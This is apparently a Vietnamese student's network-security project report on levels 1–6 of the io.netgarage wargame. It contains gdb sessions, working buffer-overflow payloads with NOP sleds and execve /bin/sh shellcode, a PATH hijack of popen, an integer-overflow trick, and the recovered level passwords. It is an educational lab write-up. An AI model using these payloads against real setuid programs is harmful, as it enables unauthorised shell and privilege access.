TRƯỜNG ĐẠI HỌC KHOA HỌC TỰ NHIÊN THÀNH PHỐ HỒ CHÍ MINH

ĐẠI HỌC QUỐC GIA THÀNH PHỐ HỒ CHÍ MINH

MÔN AN NINH MẠNG – ĐỒ ÁN 3

Họ tên: Ngũ Duy Tính

MSSV: 21120572

Giảng viên: Gv. Lê Hà Minh, Gv. Lê Giang Thanh

Tp.Hồ Chí Minh, ngày 7 tháng 6 năm 2024

Level 1

Chạy thử chương trình. Không có gì xảy ra.

```
level1@io:/$ cd /levels
level1@io:/levels$ ./level01
Enter the 3 digit passcode to enter: 123
level1@io:/levels$
```

Chạy chương trình bằng gdb.

$ gdb level01

```
level1@io:/levels$ gdb level01
GNU gdb (GDB) 10.2
Copyright (C) 2021 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from level01...
```

Mã assembly của hàm main chương trình.

$ disass main

```
(gdb) disass main
Dump of assembler code for function _start:
   0x08048080 <+0>:     push   $0x8049128
   0x08048085 <+5>:     call   0x804810f
   0x0804808a <+10>:    call   0x804809f
   0x0804808f <+15>:    cmp    $0x10f,%eax
   0x08048094 <+20>:    je     0x80480dc
   0x0804809a <+26>:    call   0x8048103
End of assembler dump.
```

0x0804808f <+15>: cmp $0x10f,%eax

Ta thấy có so sánh giữa giá trị tại thanh ghi eax với hằng số 0x10f là 271 trong hệ dec.

je sẽ nhảy đến nhãn khác nếu giá trị so sánh bằng nhau. Ta giả sử password là 271.

Chạy chương trình và nhập mật khẩu với giá trị là 271.

```
(gdb) run
Starting program: /levels/level01
Enter the 3 digit passcode to enter: 271
Congrats you found it, now read the password for level2 from /home/level2/.pass
process 2097 is executing new program: /bin/bash
warning: Could not load shared library symbols for linux-gate.so.1.
Do you need "set solib-search-path" or "set sysroot"?
sh-4.3$
```

```
Congrats you found it, now read the password for level2 from /home/level2/.pass
sh-4.3$ whoami
level2
sh-4.3$ cat /home/level2/.pass
XNWFtWKWHhaaXoKI
sh-4.3$
```

Mật khẩu level2: XNWFtWKWHhaaXoKI

Level 2

```
level2@io:~$ cd /levels
level2@io:/levels$ ls
beta            level05_alt
level01         level05_alt.c
level02         level05.c
level02_alt     level06
level02_alt.c   level06_alt
level02.c       level06_alt.c
```

Xem source code level02.c.

```
level2@io:/levels$ cat level02.c
//a little fun brought to you by bla

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void catcher(int a)
{
        setresuid(geteuid(),geteuid(),geteuid());
        printf("WIN!\n");
        system("/bin/sh");
        exit(0);
}

int main(int argc, char **argv)
{
        puts("source code is available in level02.c\n");

        if (argc != 3 || !atoi(argv[2]))
                return 1;
        signal(SIGFPE, catcher);
        return abs(atoi(argv[1])) / atoi(argv[2]);
}
```

Nhìn vào source code ta có thể phân tích được:

Chương trình chia 2 số do người dùng nhập vào.

Sẽ gọi hàm catcher nếu SIGFPE exception diễn ra.

SIGFPE có thể được kích hoạt bằng: 1/0, sqrt(-1), overflow.

Thử với 1/0 và sqrt(-1) đều không được

```
level2@io:/levels$ ./level02 "1" "0"
source code is available in level02.c

level2@io:/levels$ ./level02 "-1" "1"
source code is available in level02.c
```

Int có giá trị từ **-2,147,483,648** đến **2,147,483,647**. Nếu ta truyền vào abs giá trị **-2,147,483,648** thì giá trị trả về vẫn là **-2,147,483,648**. Vì hàm abs sẽ cố gắn tìm số nguyên dương có độ lớn phù hợp nhưng giá trị nguyên dương lớn nhất có thể biểu diễn là **2,147,483,647** điều này dẫn đến tràn số.

Biểu diễn **abs(-2,147,483,648)** và **-1** đều là: 10000000000000000000000000000000

Việc chia **-2,147,483,648** cho **-1** là việc cố gắn chia cho 0.

```
level2@io:/levels$ ./level02 "-2147483648" "-1"
source code is available in level02.c

WIN!
sh-4.3$
```

```
sh-4.3$ whoami
level3
sh-4.3$ cat /home/level3/.pass
OlhCmdZKbuzqngfz
sh-4.3$
```

Mật khẩu level3: OlhCmdZKbuzqngfz

Level 3

```
level3@io:/$ cd /levels
level3@io:/levels$ ls
beta            level05_alt
level01         level05_alt.c
level02         level05.c
level02_alt     level06
level02_alt.c   level06_alt
level02.c       level06_alt.c
level03         level06_alt.pass
level03.c       level06.c
```

```
void good()
{
        puts("Win.");
        execl("/bin/sh", "sh", NULL);
}
void bad()
{
        printf("I'm so sorry, you're at %p and you want to be at %p\n", bad, good);
}

int main(int argc, char **argv, char **envp)
{
        void (*functionpointer)(void) = bad;
        char buffer[50];

        if(argc != 2 || strlen(argv[1]) < 4)
                return 0;

        memcpy(buffer, argv[1], strlen(argv[1]));
        memset(buffer, 0, strlen(argv[1]) - 4);

        printf("This is exciting we're going to %p\n", functionpointer);
        functionpointer();

        return 0;
}
```

Nhìn vào source code ta có thể phân tích:

Hàm good là hàm cần được gọi để hoàn thành task.

Hàm bab là hàm default của chương trình.

Chuỗi input có độ dài lớn hơn 4 và giá trị này sẽ được sao chép vào buffer(max 50).

functionpointer được định nghĩa sau biến buffer do chương trình lưu trữ như là stack.

Chạy thử với giá trị hợp lệ.

```
level3@io:/levels$ ./level03 "aaaa"
This is exciting we're going to 0x80484a4
I'm so sorry, you're at 0x80484a4 and you want to be at 0x8048474
level3@io:/levels$
```

Địa chỉ của hàm bad là **0x80484a4**, hàm good là **0x8048474**.

Khi chạy thử với đầu vào lớn hơn nhiều 50 ký tự thì chương trình bị crash.

```
level3@io:/levels$ ./level03 $(python -c 'print b"\x88"*80')
This is exciting we're going to 0x88888888
Segmentation fault
level3@io:/levels$
```

Chạy bằng gdb và đặt breakpoint sau khi gọi hàm memcpy().

```
   0x0804852b <+99>:    call   0x804838c <memcpy@plt>
--Type <RET> for more, q to quit, c to continue without paging--
   0x08048530 <+104>:   mov    0xc(%ebp),%eax
   0x08048533 <+107>:   add    $0x4,%eax
   0x08048536 <+110>:   mov    (%eax),%eax
   0x08048538 <+112>:   mov    %eax,(%esp)
   0x0804853b <+115>:   call   0x804839c <strlen@plt>
   0x08048540 <+120>:   sub    $0x4,%eax
   0x08048543 <+123>:   mov    %eax,0x8(%esp)
   0x08048547 <+127>:   movl   $0x0,0x4(%esp)
   0x0804854f <+135>:   lea    -0x58(%ebp),%eax
   0x08048552 <+138>:   mov    %eax,(%esp)
   0x08048555 <+141>:   call   0x804835c <memset@plt>
   0x0804855a <+146>:   mov    -0xc(%ebp),%eax
   0x0804855d <+149>:   mov    %eax,0x4(%esp)
   0x08048561 <+153>:   movl   $0x80486c0,(%esp)
   0x08048568 <+160>:   call   0x80483ac <printf@plt>
   0x0804856d <+165>:   mov    -0xc(%ebp),%eax
   0x08048570 <+168>:   call   *%eax
   0x08048572 <+170>:   movl   $0x0,-0x5c(%ebp)
   0x08048579 <+177>:   mov    -0x5c(%ebp),%eax
   0x0804857c <+180>:   leave
   0x0804857d <+181>:   ret
End of assembler dump.
(gdb) break *0x08048530
Breakpoint 1 at 0x8048530
```

Chạy thử với giá trị hợp lệ và quan sát stack khi gọi hàm memcpy().

```
(gdb) x/32xw $esp
0xbffffbe0:     0xbffffc00      0xbffffe29      0x00000004      0x08048274
0xbffffbf0:     0x00000000      0xbffffc94      0xb7fc2000      0x00000005
0xbffffc00:     0x61616161      0xb7fc2000      0xb7e1ae18      0xb7fd5240
0xbffffc10:     0xb7fc2000      0x080497c8      0xbffffc28      0x08048338
0xbffffc20:     0xffffffff      0x080497c8      0xbffffc58      0x080485a9
0xbffffc30:     0x00000002      0xb7fc2000      0x00000000      0xb7e3ca3b
0xbffffc40:     0xb7fc23dc      0x080481b4      0x0804859b      0x080484a4
0xbffffc50:     0x00000002      0xb7fc2000      0x00000000      0xb7e26286
```

Ta thấy giá trị **0x61616161** tại 0xbffffc00 chính là giá trị "aaaa" theo mã ASCII.

Giá trị **0x080484a4** chính là địa chỉ của hàm bad.

Khi chạy thử với giá trị không hợp lệ (Độ dài lớn hơn nhiều 50) và quan sát stack.

```
(gdb) run $(python -c 'print b"\x99"*80')
Starting program: /levels/level03 $(python -c 'print b"\x99"*80')

Breakpoint 1, 0x08048530 in main ()
(gdb) x/32xw $esp
0xbffffb90:     0xbffffbb0      0xbffffddd      0x00000050      0x08048274
0xbffffba0:     0x00000000      0xbffffc44      0xb7fc2000      0x00000005
0xbffffbb0:     0x99999999      0x99999999      0x99999999      0x99999999
0xbffffbc0:     0x99999999      0x99999999      0x99999999      0x99999999
0xbffffbd0:     0x99999999      0x99999999      0x99999999      0x99999999
0xbffffbe0:     0x99999999      0x99999999      0x99999999      0x99999999
0xbffffbf0:     0x99999999      0x99999999      0x99999999      0x99999999
0xbffffc00:     0x00000002      0xb7fc2000      0x00000000      0xb7e26286
```

Ta thấy giá trị địa chỉ của hàm bad đã bị viết đè lên và khi thực thi đến cuối thì chương trình bị crash.

```
(gdb) n
Single stepping until exit from function main,
which has no line number information.
This is exciting we're going to 0x99999999

Program received signal SIGSEGV, Segmentation fault.
0x99999999 in ?? ()
```

Giá trị của biến đầu vào khi thực thi hàm memcpy bắt đầu tại 0xbffffbb0 và giá trị địa chỉ của hàm bad lưu tại 0xbffffbfc → **0xbffffbfc** - **0xbffffbb0** = 76bytes.

Vậy ta cần nhập vào 76bytes bất kỳ cộng với 4bytes cuối là địa chỉ cần nhảy đến sau khi thực thi.

Khi 4bytes cuối là **\x08\x04\x84\x74** thì địa chỉ bị ghi ngược do vậy ta cần đổi lại thành **\x74\x84\x04\x08**

```
level3@io:/levels$ ./level03 $(python -c 'print "A"*76 + b"\x08\x04\x84\x74"')
This is exciting we're going to 0x74840408
Segmentation fault
level3@io:/levels$ ./level03 $(python -c 'print "A"*76 + b"\x74\x84\x04\x08"')
This is exciting we're going to 0x8048474
Win.
sh-4.3$
```

```
sh-4.3$ whoami
level4
sh-4.3$ cat /home/level4/.pass
7WhHa5HWMNRAYl9T
sh-4.3$
```

Mật khẩu level4: 7WhHa5HWMNRAYl9T

Level4

```
level4@io:~$ cd /levels
level4@io:/levels$ ls
beta            level05_alt
level01         level05_alt.c
level02         level05.c
level02_alt     level06
level02_alt.c   level06_alt
level02.c       level06_alt.c
level03         level06_alt.pass
level03.c       level06.c
level04         level07
level04_alt     level07_alt
level04_alt.c   level07_alt.c
level04.c       level07.c
```

```
level4@io:/levels$ cat level04.c
//writen by bla
#include <stdlib.h>
#include <stdio.h>

int main() {
        char username[1024];
        FILE* f = popen("whoami","r");
        fgets(username, sizeof(username), f);
        printf("Welcome %s", username);

        return 0;
}
```

Nhìn vào source code ta có thể phân tích:

Khi dùng popen để thực thi một lệnh, thì shell sẽ tìm kiếm tệp thực thi cho lệnh đó dựa trên biến môi trường PATH, Biến môi trường PATH chứa danh sách các thư mục mà shell sẽ tìm kiếm tệp thực thi. Do đó, ta có thể thay đổi biến môi trường PATH để shell có thể tìm thấy tệp thực thi khác trước khi tìm thấy được tệp thực thi chính thức.

```
level4@io:/$ ls
bin   dev  home        initrd.img.old  lib    lost+found  mnt  opt   root  sbin  sys  usr  vmlinuz
boot  etc  initrd.img  levels          lib64  media       old  proc  run   srv   tmp  var  vmlinuz.old
level4@io:/$ mkdir tmp/tempdir
level4@io:/$ echo "cat /home/level5/.pass" > tmp/tempdir/whoami
level4@io:/$ chmod 777 tmp/tempdir/whoami
```

level4@io:/$ mkdir tmp/tempdir

level4@io:/$ echo "cat /home/level5/.pass" > tmp/tempdir/whoami

Tạo thư mục tempdir trong tmp và tạo file whoami với nội dung cần thực thi.

level4@io:/$ chmod 777 tmp/tempdir/whoami

Thay đổi quyền cho phép truy cập nội dung tệp tin whoami.

```
level4@io:/$ echo $PATH
/usr/local/radare/bin:/usr/local/gdb10/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
level4@io:/$
level4@io:/$ PATH="tmp/tempdir/: $PATH"
level4@io:/$ echo $PATH
tmp/tempdir/: /usr/local/radare/bin:/usr/local/gdb10/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
level4@io:/$
```

level4@io:/$ PATH="/tmp/tempdir/: $PATH"

Thay đổi đường dẫn PATH để shell có thể tìm thấy file thực thi ta mong muốn trước.

```
level4@io:/$ cd levels
level4@io:/levels$ ./level04
Welcome DNLM3Vu0mZfX0pDd
```

Mật khẩu level5: DNLM3Vu0mZfX0pDd

Level 5:

```
level5@io:/levels$ cat level05.c
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {

        char buf[128];

        if(argc < 2) return 1;

        strcpy(buf, argv[1]);

        printf("%s\n", buf);

        return 0;
}
```

Nhìn vào source code ta có thể phân tích:

Hàm strcpy copy sao chép nội dung từ argv[1] vào viến buf mà không có sư kiểm soát về độ dài chuỗi. Điều này có thể dẫn đến ghi vượt ra ngoài biến buf.

```
level5@io:/levels$ ./level05 $(python -c 'print "A"*500')
Segmentation fault
level5@io:/levels$
```

Chạy thử với dữ liệu lớn hơn nhiều 128 ta thấy chương trình bị lỗi -> có thể bị khai thác.

```
Breakpoint 1, 0x080483ee in main ()
(gdb) x/4x $esp
0xbffffaf0:     0xbffffb10      0xbffffd65      0xb7fff920      0xb7e9edc3
(gdb) print $ebp-0x88
$1 = (void *) 0xbffffb10
```

Chạy với gdb, đặt breakpoint tại hàm strcpy.

Ta thấy địa chỉ **0xbffffb10** là địa chỉ của biến buf và **0xbffffd65** là địa chỉ của biến argv[1].

Ta thấy biến buffer cần **0x88** bytes (136 bytes) để đến được $ebp, mà ở <main +0> push **%ebp** nên ta biết được return address ở trên **$ebp** -> cần 140 bytes để đến được return address.

```
0x080483b4 <+0>:     push   %ebp
0x080483b5 <+1>:     mov    %esp,%ebp
0x080483b7 <+3>:     sub    $0xa8,%esp
0x080483bd <+9>:     and    $0xfffffff0,%esp
0x080483c0 <+12>:    mov    $0x0,%eax
0x080483c5 <+17>:    sub    %eax,%esp
0x080483c7 <+19>:    cmpl   $0x1,0x8(%ebp)
0x080483cb <+23>:    jg     0x80483d9 <main+37>
0x080483cd <+25>:    movl   $0x1,-0x8c(%ebp)
0x080483d7 <+35>:    jmp    0x8048413 <main+95>
0x080483d9 <+37>:    mov    0xc(%ebp),%eax
0x080483dc <+40>:    add    $0x4,%eax
0x080483df <+43>:    mov    (%eax),%eax
0x080483e1 <+45>:    mov    %eax,0x4(%esp)
0x080483e5 <+49>:    lea    -0x88(%ebp),%eax
0x080483eb <+55>:    mov    %eax,(%esp)
0x080483ee <+58>:    call   0x80482d4 <strcpy@plt>
0x080483f3 <+63>:    lea    -0x88(%ebp),%eax
0x080483f9 <+69>:    mov    %eax,0x4(%esp)
0x080483fd <+73>:    movl   $0x8048524,(%esp)
0x08048404 <+80>:    call   0x80482b4 <printf@plt>
0x08048409 <+85>:    movl   $0x0,-0x8c(%ebp)
0x08048413 <+95>:    mov    -0x8c(%ebp),%eax
0x08048419 <+101>:   leave
0x0804841a <+102>:   ret
```

```
(gdb) break *0x080483ee
Breakpoint 1 at 0x80483ee
(gdb) run $(python -c 'print "a"*136 + "abcd" + "efgh"')
Starting program: /levels/level05 $(python -c 'print "a"*136 + "abcd" + "efgh"')

Breakpoint 1, 0x080483ee in main ()
(gdb) n
Single stepping until exit from function main,
which has no line number information.
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaabcdefgh
0x68676665 in ?? ()
(gdb) x/s $ebp
0x64636261:     <error: Cannot access memory at address 0x64636261>
(gdb) |
```

Ta thử thự thi để kiểm chứng, ta thấy địa chỉ trả về và địa chỉ $ebp đều bị thay đổi với gia trị ta đã nhập ở hệ hexa.

Vậy ta cần thiết kế payload sao cho, payload chứa shellcode và địa chỉ trả về nằm trong nội dung payload.

```
Shellcode:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\
x89\xe1\xb0\x0b\xcd\x80
```

Để chương trình có thể thực thi shellcode, ta cần để cho $eip bằng với byte đầu tiên của shellcode. Khi $eip nhảy đến vị trí payload trong bộ nhớ, $eip sẽ liên tục thực thi các lệnh NOP không có tác động cho đến khi gặp byte đầu tiên khác NOP.

Đồ dài NOP slide: 144 – 25(shellcode) – 4(return address) = 115.

<\x90\x90......\x90> (repeat 115) <shellcode> <return address>

```
0xbffffda0:     0x00000000      0x00000000      0x6c2f0000      0x6c657665
0xbffffdb0:     0x656c2f73      0x306c6576      0x90900035      0x90909090
0xbffffdc0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffdd0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffde0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffdf0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffe00:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffe10:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffe20:     0x90909090      0x90909090      0x90909090      0x44580090
0xbffffe30:     0x45535f47      0x4f495353      0x44495f4e      0x3630343d
0xbffffe40:     0x00363536      0x4c454853      0x622f3d4c      0x622f6e69
0xbffffe50:     0x00687361      0x4d524554      0x6574783d      0x322d6d72
```

Chạy thử với payload là NOP và chọn một địa chỉ khả thi **0xbffffdf0**.

```
level5@io:/levels$ ./level05 $(python -c 'print "\x90"*115 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68
\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" + "\xf0\xfd\xff\xbf"')
◆◆◆
```

```
int main(int argc, char **argv, char **env){
        if(argc != 3) {
                printf("USAGE: %s [name] [password]\n", argv[0]);
                return 1;
        }

        struct UserRecord user = {0};
        strncpy(user.name, argv[1], sizeof(user.name));
        strncpy(user.password, argv[2], sizeof(user.password));

        char *envlang = getenv("LANG");
        if(envlang)
                if(!memcmp(envlang, "fr", 2))
                        language = LANG_FRANCAIS;
                else if(!memcmp(envlang, "de", 2))
                        language = LANG_DEUTSCH;

        greetuser(user);
}
```

Do biến name và password là kiểu dữ liệu struct nên dẫn đến chia sẻ một dãy dữ liệu liên tiếp nhau.

Với cấu trúc UserRecord trên thì biến name và password sẽ có địa chỉ liền kề nhau trên ô nhớ.

Có thể xảy ra các trường hợp:

Khi dữ liệu name nhỏ hơn size_of(name) thì sẽ tự động có giá trị break **‘\0’**

Khi dữ liệu name bằng đúng size_of(name) thì không có giá trị break **‘\0’**. Nên dữ liệu thực của name sẽ bao gồm biến password.

Mà strcat không thực hiện kiểm tra giới hạn, strcat sẽ thêm user.name vào greeting mà không kiểm tra khoảng trống vùng nhớ greeting. Điều này dẫn đến overflow và nội dung của greeting bao gồm cả nội dung password.

```
Breakpoint 1 at 0x8048581
(gdb) r $(python -c "print 'A'*40 + ' ' + 'B'*32")
Starting program: /levels/level06 $(python -c "print 'A'*40 + ' ' + 'B'*32")

Breakpoint 1, 0x08048581 in greetuser ()
(gdb) x/72xw $esp
0xbffffb00:     0xbffffb10      0xbffffb60      0x07b1ea71      0xbffffb30
0xbffffb10:     0x00206948      0x08048288      0x0000414c      0xb7e3bff0
0xbffffb20:     0xbfffff62      0xb7e15b58      0x00000002      0xb7fffc10
0xbffffb30:     0xb7fe9eeb      0xbffffbb0      0x00000003      0xbffffbfc
0xbffffb40:     0xbffffc18      0xb7ff05f0      0xbfffff62      0xb7e85360
0xbffffb50:     0xb7e85397      0x00000003      0xbffffc18      0x080486af
0xbffffb60:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb70:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb80:     0x41414141      0x41414141      0x42424242      0x42424242
0xbffffb90:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffffba0:     0x42424242      0x42424242      0x00000000      0x080482da
0xbffffbb0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffbc0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffbd0:     0x41414141      0x41414141      0x42424242      0x42424242
0xbffffbe0:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffffbf0:     0x42424242      0x42424242      0x00000000      0xbfffff65
0xbffffc00:     0xb7fc23dc      0x08048258      0x080486db      0x00000000
0xbffffc10:     0x00000003      0xb7fc2000      0x00000000      0xb7e26286
(gdb) x/s 0xbffffb10
0xbffffb10:     "Hi "
(gdb) x/s 0xbffffb60
0xbffffb60:     'A' <repeats 40 times>, 'B' <repeats 32 times>
(gdb)
```

Đặt breakpoint trước khi thực thi strcat. Và nhận xét được

Tại **0xbffffb10** là địa chỉ của dãy buffer.

Tại **0xbffffb60** là địa chỉ của user

Tại **0xbffffb5c** chính là return address. Có thể quan sát được ở disass main

```
 0x080486aa <+279>:    call   0x804851c <greetuser>
 0x080486af <+284>:    lea    -0xc(%ebp),%esp
```

Sau khi thực thi xong hàm strcat

```
Breakpoint 2, 0x0804858c in greetuser ()
(gdb) x/50xw $esp
0xbffffb00:     0xbffffb10      0xbffffb60      0x07b1ea71      0xbffffb30
0xbffffb10:     0x41206948      0x41414141      0x41414141      0x41414141
0xbffffb20:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb30:     0x41414141      0x41414141      0x42414141      0x42424242
0xbffffb40:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffffb50:     0x42424242      0x42424242      0x00424242      0x080486af
0xbffffb60:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb70:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb80:     0x41414141      0x41414141      0x42424242      0x42424242
0xbffffb90:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffffba0:     0x42424242      0x42424242      0x00000000      0x080482da
0xbffffbb0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffbc0:     0x41414141      0x41414141
```

Nội dung đã được copy vào buffer nhưng có không đủ để ghi đè lên giá trị return address.

```
(gdb) n
Single stepping until exit from function greetuser,
which has no line number information.
Hi AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBB
0x080486af in main ()
```

Ta thử thay đổi biến LANG để giá trị ban đầu của buffer nhiều hơn so với LANG=en.

```
(gdb) break *0x0804858c
Breakpoint 1 at 0x804858c
(gdb)  set environment LANG=fr
(gdb) run $(python -c "print 'A'*40 + ' ' + 'B'*32")
Starting program: /levels/level06 $(python -c "print 'A'*40 + ' ' + 'B'*32")

Breakpoint 1, 0x0804858c in greetuser ()
(gdb) x/50xw $esp
0xbffffb00:     0xbffffb10      0xbffffb60      0x07b1ea71      0xbffffb30
0xbffffb10:     0x6e656942      0x756e6576      0x41412065      0x41414141
0xbffffb20:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb30:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb40:     0x42424141      0x42424242      0x42424242      0x42424242
0xbffffb50:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffffb60:     0x41004242      0x41414141      0x41414141      0x41414141
0xbffffb70:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb80:     0x41414141      0x41414141      0x42424242      0x42424242
0xbffffb90:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffffba0:     0x42424242      0x42424242      0x00000000      0x080482da
0xbffffbb0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffbc0:     0x41414141      0x41414141
```

Giá trị return address tại 0xbffffb5c đã bị ghi đè.

Tiến hành thiết kế payload để có thể thực thi shellcode.

```
Shellcode:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\
xb0\x0b\xcd\x80
```

Ta cần 76 bytes để có thể viết đè lên return address , mà khi LANG=fr thì đã chiếm 10 bytes của greeting nên ta còn 66 bytes để chứa NOP Slide và Shellcode, thêm 4 byte cuối chứa return address.

Độ dài NOP Slide = 40(size_of(name)) – 23 (shellcode) = 17.

→ Payload:

argv[1] = <\x90\x90.....\x90>(repeat 17) + <A>(repeat 23)

argv[2] = <B>(repeat 26) + <return address>

```
Breakpoint 1 at 0x804858c
(gdb) run $(python -c 'print "\x90"*40 + " " + "\x90"*3 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\
x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "ABCD"')
Starting program: /levels/level06 $(python -c 'print "\x90"*40 + " " + "\x90"*3 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\
x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "ABCD"')

Breakpoint 1, 0x0804858c in greetuser ()
(gdb) x/50xw $esp
0xbffffb00:     0xbffffb10      0xbffffb60      0x07b1ea71      0xbffffb30
0xbffffb10:     0x6e656942      0x756e6576      0x90902065      0x90909090
0xbffffb20:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb30:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb40:     0x90909090      0x50c03190      0x732f2f68      0x622f6868
0xbffffb50:     0xe3896e69      0xe1895350      0x80cd0bb0      0x44434241
0xbffffb60:     0x90909000      0x90909090      0x90909090      0x90909090
0xbffffb70:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb80:     0x90909090      0x90909090      0x31909090      0x2f6850c0
0xbffffb90:     0x6868732f      0x6e69622f      0x5350e389      0x0bb0e189
0xbffffba0:     0x424180cd      0x00004443      0x00000000      0x080482da
0xbffffbb0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffbc0:     0x90909090      0x90909090
```

return address ta sẽ chọn địa chỉ khả thi trong buffer là **0xbffffb30**.

```
(gdb) run $(python -c 'print "\x90"*40 + " " + "\x90"*3 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\
x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "\x30\xfb\xff\xbf"')
Starting program: /levels/level06 $(python -c 'print "\x90"*40 + " " + "\x90"*3 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\
x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "\x30\xfb\xff\xbf"')
Bienvenue ◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆1◆Ph//shh/bin◆◆PS◆◆
                                                                `0◆◆◆

Breakpoint 1, 0x08048591 in greetuser ()
(gdb) n
Single stepping until exit from function greetuser,
which has no line number information.
0xbffffb30 in ?? ()
```

Đã trả về địa chỉ mong muốn nhưng shellcode không được thực thi.

Ta thử với các biến env.

```
level6@io:/tmp/malcode$ cat tempfile
#include <stdlib.h>
#include <stdio.h>

int main(int argc, char *argv[]) {
    printf("%s => %p\n", argv[1], getenv(argv[1]));
    return 0;
}
level6@io:/tmp/malcode$ cat tempfile > getenv.c
level6@io:/tmp/malcode$ ls
getenv.c  tempfile
level6@io:/tmp/malcode$ g++ getenv.c -o getenv.exe
level6@io:/tmp/malcode$
```

Script để lấy địa chỉ của các biến env.

```
level6@io:/levels$ export LANG=fr
level6@io:/levels$ export SHELLCODE=$(python -c "print '\x90'*40 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e
\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'")
```

Thiết lập giá trị env LANG và SHELLCODE.

```
level6@io:/tmp/malcode$ ./getenv.exe SHELLCODE
SHELLCODE => 0xbffffe1d
level6@io:/tmp/malcode$ cd /levels
level6@io:/levels$ ./level06 $(python -c "print 'A'*40 + ' ' + 'B'*26 + '\x1d\xfe\xff\xbf'")
Bienvenue AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBB
sh-4.3$ whoami
level7
sh-4.3$
```

Thực thi file getenv.exe để lấy địa chỉ của biến SHELLCODE, làm return address của payload.

Thực thi chương trình với return address là địa chỉ biến SHELLCODE vừa mới tìm được.

```
sh-4.3$ cat /home/level7/.pass
U3A6ZtaTub14VmwV
```

Mật khẩu level7: U3A6ZtaTub14VmwV

Nguồn tham khảo:

https://github.com/randomcompanyname/ctf_writeup/tree/master/io.netgarage.org

https://github.com/HLOverflow

https://www.youtube.com